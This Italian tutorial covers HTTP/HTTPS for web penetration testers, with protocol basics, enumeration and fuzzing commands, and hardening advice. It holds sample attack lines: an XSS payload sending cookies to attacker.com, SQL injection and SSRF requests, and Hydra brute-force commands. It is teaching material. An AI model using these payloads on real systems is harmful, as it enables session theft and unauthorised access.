HTTP e HTTPS: cos’è, come funziona e come sfruttarlo in un pentest #

HTTP è il protocollo su cui viaggia il web. Capire cos’è HTTP e come funziona — header, metodi, status code, sessioni, autenticazione — è la base di qualsiasi web application penetration test. HTTPS aggiunge TLS sopra HTTP ma non risolve le vulnerabilità applicative: un’applicazione rotta su HTTP è altrettanto rotta su HTTPS.

Cos’è HTTP #

HTTP (HyperText Transfer Protocol) è definito originalmente nell’RFC 1945 (HTTP/1.0) e aggiornato nell’RFC 9110 (HTTP semantics, 2022). Opera al livello applicativo sopra TCP, tipicamente su porta 80 (HTTP) e porta 443 (HTTPS).

HTTP è un protocollo stateless e request-response: il client invia una richiesta, il server risponde, la connessione si chiude (HTTP/1.0) o rimane aperta per richieste successive (HTTP/1.1 keep-alive). Non c’è memoria tra una richiesta e l’altra — la gestione della sessione è delegata all’applicazione tramite cookie o token.

Versioni di HTTP #

HTTP/1.1 è ancora il più diffuso in ambienti enterprise. HTTP/2 è comune su siti web pubblici. HTTP/3 è in crescita.

Come funziona HTTP #

Struttura di una richiesta HTTP #

GET /login HTTP/1.1\r\n
Host: hackita.it\r\n
User-Agent: Mozilla/5.0 ...\r\n
Accept: text/html,application/xhtml+xml\r\n
Accept-Language: it-IT,it;q=0.9\r\n
Cookie: session=abc123; csrftoken=xyz789\r\n
Connection: keep-alive\r\n
\r\n
[body — presente in POST, PUT, PATCH]

Struttura di una risposta HTTP #

HTTP/1.1 200 OK\r\n
Content-Type: text/html; charset=UTF-8\r\n
Content-Length: 1234\r\n
Set-Cookie: session=abc123; HttpOnly; Secure; SameSite=Strict\r\n
X-Frame-Options: DENY\r\n
Content-Security-Policy: default-src 'self'\r\n
\r\n
[body HTML/JSON/binary]

I metodi HTTP #

Status code rilevanti per il pentesting #

La differenza tra 401 e 403 è fondamentale: 401 significa “non sei autenticato”, 403 significa “sei autenticato ma non hai i permessi”. Un 403 su una risorsa rivela che esiste e che hai trovato qualcosa che vale la pena esplorare.

Header HTTP rilevanti per la sicurezza #

Header di sicurezza difensivi (la loro assenza è una finding):

Header informativi (rivelano l’infrastruttura):

Dove viene usato HTTP/HTTPS nelle reti #

HTTP/HTTPS è ovunque:

• Applicazioni web: front-end, back-end, API REST, microservizi
• Applicazioni mobile: la maggior parte delle app mobile comunica con API HTTP
• IoT: interfacce di amministrazione web su router, telecamere, PLC
• Intranet aziendale: portali interni, gestione documentale, ERP web-based
• Infrastructure management: Kubernetes dashboard, Grafana, Jenkins, Gitlab, VMware vCenter
• C2 e malware: HTTP/HTTPS è il canale C2 più usato perché raramente bloccato

Perché HTTP è importante in cybersecurity #

HTTP è la superficie di attacco web application. Ogni richiesta è un potenziale vettore: parametri, cookie, header, body — tutto può essere manipolato. Le vulnerabilità web più critiche (OWASP Top 10) si manifestano attraverso HTTP:

• Injection (SQLi, XSS, SSTI, XXE, SSRF): input malevoli nel body o nei parametri
• Authentication e Session Management: cookie, token, password
• Security Misconfiguration: header mancanti, metodi abilitati, errori verbosi
• Broken Access Control: accesso a risorse non autorizzate tramite manipolazione dell’URL
• IDOR: Insecure Direct Object Reference nei parametri

Per il livello TLS che cifra HTTPS, vedi TLS/SSL. Per il protocollo TCP sottostante, vedi TCP.

HTTP/HTTPS in un engagement di pentesting #

Reconnaissance: fingerprinting del server #

Il primo passo su qualsiasi target HTTP è identificare la tecnologia in uso:

# Header analysis con curl
curl -I https://target.com

# Fingerprinting con whatweb
whatweb https://target.com

# Fingerprinting con wappalyzer (browser extension o CLI)
wappalyzer https://target.com

# Nmap HTTP scripts
nmap -p 80,443 --script http-headers,http-server-header,http-title target.com

# Nikto — scanner vulnerabilità web
nikto -h https://target.com

Directory e file enumeration #

Trovare percorsi non collegati nell’interfaccia ma presenti sul server:

# Gobuster
gobuster dir -u https://target.com -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -x php,html,txt,bak

# Feroxbuster (ricorsivo)
feroxbuster -u https://target.com -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt

# ffuf
ffuf -u https://target.com/FUZZ -w /usr/share/seclists/Discovery/Web-Content/common.txt -mc 200,301,302,403

File particolarmente interessanti da cercare:

• .git/ — repository git esposto
• backup.zip, backup.sql, dump.sql — backup del sito
• .env — variabili d’ambiente con credenziali
• config.php, wp-config.php — configurazioni
• robots.txt, sitemap.xml — path disclosure legale
• /.well-known/ — vari metadati
• /api/ — endpoint API non documentati

Analisi degli header di sicurezza #

# Analisi automatica
curl -I https://target.com | grep -iE "(server|x-powered|strict|csp|x-frame|referrer|permissions)"

# Tool dedicato
python3 shcheck.py -u https://target.com

La mancanza di HSTS, CSP, X-Frame-Options, e X-Content-Type-Options sono finding valide da riportare.

Analisi del traffico HTTP con Burp Suite #

Burp Suite è lo strumento standard per il web application pentesting. Come proxy intercetta tutto il traffico HTTP/HTTPS tra browser e server:

# Configurazione proxy: 127.0.0.1:8080
# Import certificato CA di Burp nel browser per HTTPS

# Funzionalità chiave:
# - Proxy: intercetta e modifica richieste
# - Repeater: invia richieste modificate manualmente
# - Intruder: fuzzing e brute force
# - Scanner: ricerca automatica di vulnerabilità
# - Decoder: encode/decode di payload

HTTP Methods Testing #

Verificare quali metodi HTTP sono abilitati:

# Con curl
curl -X OPTIONS https://target.com -v

# Con nmap
nmap -p 80,443 --script http-methods target.com

# TRACE (Cross-Site Tracing)
curl -X TRACE https://target.com -v

Se TRACE è abilitato con un cookie HttpOnly, è possibile leggere il cookie tramite XSS anche se è HttpOnly (Cross-Site Tracing attack — richiede XSS riflesso).

Fuzzing dei parametri #

# ffuf per fuzzing parametri GET
ffuf -u "https://target.com/search?q=FUZZ" -w /usr/share/seclists/Fuzzing/special-chars.txt

# Wfuzz
wfuzz -c -z file,wordlist.txt -d "username=FUZZ&password=admin" https://target.com/login

# SQLMap per SQL injection
sqlmap -u "https://target.com/item?id=1" --batch --dbs

Brute force autenticazione #

# Hydra
hydra -l admin -P /usr/share/wordlists/rockyou.txt target.com http-post-form "/login:username=^USER^&password=^PASS^:Invalid credentials"

# Medusa
medusa -h target.com -u admin -P /usr/share/wordlists/rockyou.txt -M http -m FORM:"/login:username=^USER^&password=^PASS^:Invalid"

Attacchi e abusi possibili su HTTP #

SQL Injection #

Input malevoli nei parametri HTTP che vengono interpretati come SQL dal backend. Il vettore classico:

GET /item?id=1' OR '1'='1 HTTP/1.1

XSS (Cross-Site Scripting) #

Injection di JavaScript nel corpo della risposta HTML. Riflesso (in parametri), stored (nel database), o DOM-based:

GET /search?q=<script>document.location='http://attacker.com/steal?c='+document.cookie</script>

IDOR (Insecure Direct Object Reference) #

Accesso a risorse di altri utenti manipolando identificatori:

GET /api/user/1234/profile   → nostro profilo
GET /api/user/1235/profile   → profilo di un altro utente

SSRF (Server-Side Request Forgery) #

Forzare il server a effettuare richieste verso risorse interne:

POST /fetch HTTP/1.1
Content-Type: application/json
{"url": "http://169.254.169.254/latest/meta-data/"}   # AWS metadata service

HTTP Request Smuggling #

Ambiguità nella lunghezza del body (Content-Length vs Transfer-Encoding: chunked) per “contrabandare” richieste attraverso proxy e CDN. Tecnica avanzata con impatto elevato.

Open Redirect #

GET /redirect?url=https://evil.com HTTP/1.1

Il server redireziona verso URL arbitrari — usato per phishing e bypass di whitelist.

Esempi pratici con HTTP/HTTPS in laboratorio #

Analisi HTTP completa con curl #

# Richiesta con header verbose
curl -v https://target.com

# Seguire redirect
curl -L https://target.com

# POST con body JSON
curl -X POST https://target.com/api/login \
  -H "Content-Type: application/json" \
  -d '{"username":"admin","password":"test"}'

# Con cookie
curl -b "session=abc123" https://target.com/dashboard

# Ignorare certificato TLS (test)
curl -k https://target.com

Analisi con Wireshark #

http                          # Tutto il traffico HTTP
http.request                  # Solo richieste
http.response                 # Solo risposte
http.request.method == "POST" # Solo POST
http.response.code == 200     # Solo 200 OK
http.cookie                   # Richieste con cookie

Per HTTP/2:

http2

Detection e difesa HTTP/HTTPS #

• WAF (Web Application Firewall): rileva e blocca payload injection, path traversal, e altri attacchi comuni
• Rate limiting: limita il numero di richieste per IP/utente per mitigare brute force ed enumeration
• Logging completo: loggare ogni richiesta HTTP con IP, User-Agent, metodo, path, e status code
• IDS con signature HTTP: rilevare pattern di scan (Nikto UA, sqlmap UA, gobuster patterns)
• Anomaly detection: volume anomalo di 404, richieste con payload SQL/XSS nei parametri

Hardening HTTP/HTTPS #

Header di sicurezza obbligatori #

# Nginx
add_header Strict-Transport-Security "max-age=31536000; includeSubDomains; preload" always;
add_header X-Frame-Options "DENY" always;
add_header X-Content-Type-Options "nosniff" always;
add_header Referrer-Policy "strict-origin-when-cross-origin" always;
add_header Content-Security-Policy "default-src 'self'" always;
add_header Permissions-Policy "geolocation=(), microphone=(), camera=()" always;

Rimuovere header informativi #

server_tokens off;                    # Nasconde versione Nginx
more_clear_headers "X-Powered-By";   # Rimuove header PHP

Cookie sicuri #

Set-Cookie: session=abc123; HttpOnly; Secure; SameSite=Strict

Disabilitare metodi HTTP non necessari #

if ($request_method !~ ^(GET|POST|HEAD)$ ) {
    return 405;
}

HTTPS obbligatorio #

server {
    listen 80;
    return 301 https://$host$request_uri;
}

Errori comuni su HTTP #

“HTTPS rende l’applicazione sicura” HTTPS cifra il trasporto. Le vulnerabilità applicative (SQLi, XSS, IDOR) funzionano ugualmente su HTTPS. Il lucchetto nel browser indica solo che la comunicazione è cifrata, non che l’applicazione sia sicura.

“I parametri POST sono più sicuri dei GET” I parametri POST non compaiono nell’URL e non vengono loggati nei web server log come i GET. Ma con un proxy (Burp) sono completamente visibili e modificabili. POST non offre sicurezza rispetto a GET.

“Error 403 significa che non posso accedere a quella risorsa” 403 significa che la risorsa esiste e hai i permessi sbagliati. Vale la pena investigare: diverso User-Agent, diverso metodo, diversi cookie — a volte il 403 si aggira.

“robots.txt nasconde le risorse” robots.txt dice ai crawler cosa non indicizzare — ma è pubblico e leggibile da chiunque. Spesso rivela percorsi interni, API, e path di amministrazione che l’amministratore voleva nascondere.

FAQ su HTTP/HTTPS #

Cos’è HTTP e come funziona? HTTP (HyperText Transfer Protocol) è il protocollo di comunicazione del web. Un client (browser o applicazione) invia una richiesta HTTP al server specificando metodo, percorso, e header. Il server risponde con uno status code, header, e il corpo della risposta.

Qual è la differenza tra HTTP e HTTPS? HTTPS è HTTP cifrato con TLS. La comunicazione ha gli stessi metodi, header, e status code di HTTP, ma il trasporto è cifrato e il server è autenticato tramite certificato. HTTPS non risolve le vulnerabilità applicative.

Cos’è un cookie e come viene usato per la sessione? Un cookie è un piccolo dato che il server invia al browser tramite l’header Set-Cookie. Il browser lo include nelle richieste successive verso lo stesso dominio. I cookie di sessione mantengono l’autenticazione dell’utente tra una richiesta e l’altra.

Cos’è Burp Suite e come si usa nel web pentesting? Burp Suite è il proxy HTTP standard per il web application pentesting. Si interpone tra browser e server, permettendo di intercettare, modificare, e ritrasmettere ogni richiesta. Integra scanner di vulnerabilità, fuzzer, e decoder.

Cos’è SSRF? SSRF (Server-Side Request Forgery) è una vulnerabilità che permette a un attaccante di forzare il server a fare richieste verso risorse interne o esterne non accessibili direttamente. Usato per accedere a metadata cloud, servizi interni, e portali di amministrazione.

Conclusione su HTTP/HTTPS #

HTTP è il protocollo applicativo più analizzato nel web application pentesting. Ogni elemento — header, metodo, parametro, cookie, status code — è un potenziale vettore di attacco o fonte di informazioni.

La comprensione profonda di HTTP è il prerequisito per capire SQLi, XSS, IDOR, SSRF, e tutte le altre vulnerabilità web. Non si può fare web application pentesting efficace senza sapere esattamente come funziona il protocollo sottostante.

Approfondisci i protocolli e le tecniche correlate:

• TCP: il trasporto sottostante HTTP
• TLS/SSL: la cifratura di HTTPS
• DNS: risoluzione dei nomi per HTTP
• FTP: trasferimento file alternativo
• SSH: accesso remoto sicuro
• Sniffing: analisi del traffico HTTP
• Nmap: HTTP scripts e web scanning

Riferimento ufficiale: RFC 9110 — HTTP Semantics

La maggior parte dei breach passa da vulnerabilità web. Un web application penetration test professionale trova quello che gli scanner automatici non trovano: hackita.it/servizi

Se HackITA ti aiuta ogni giorno nel tuo percorso: hackita.it/supporto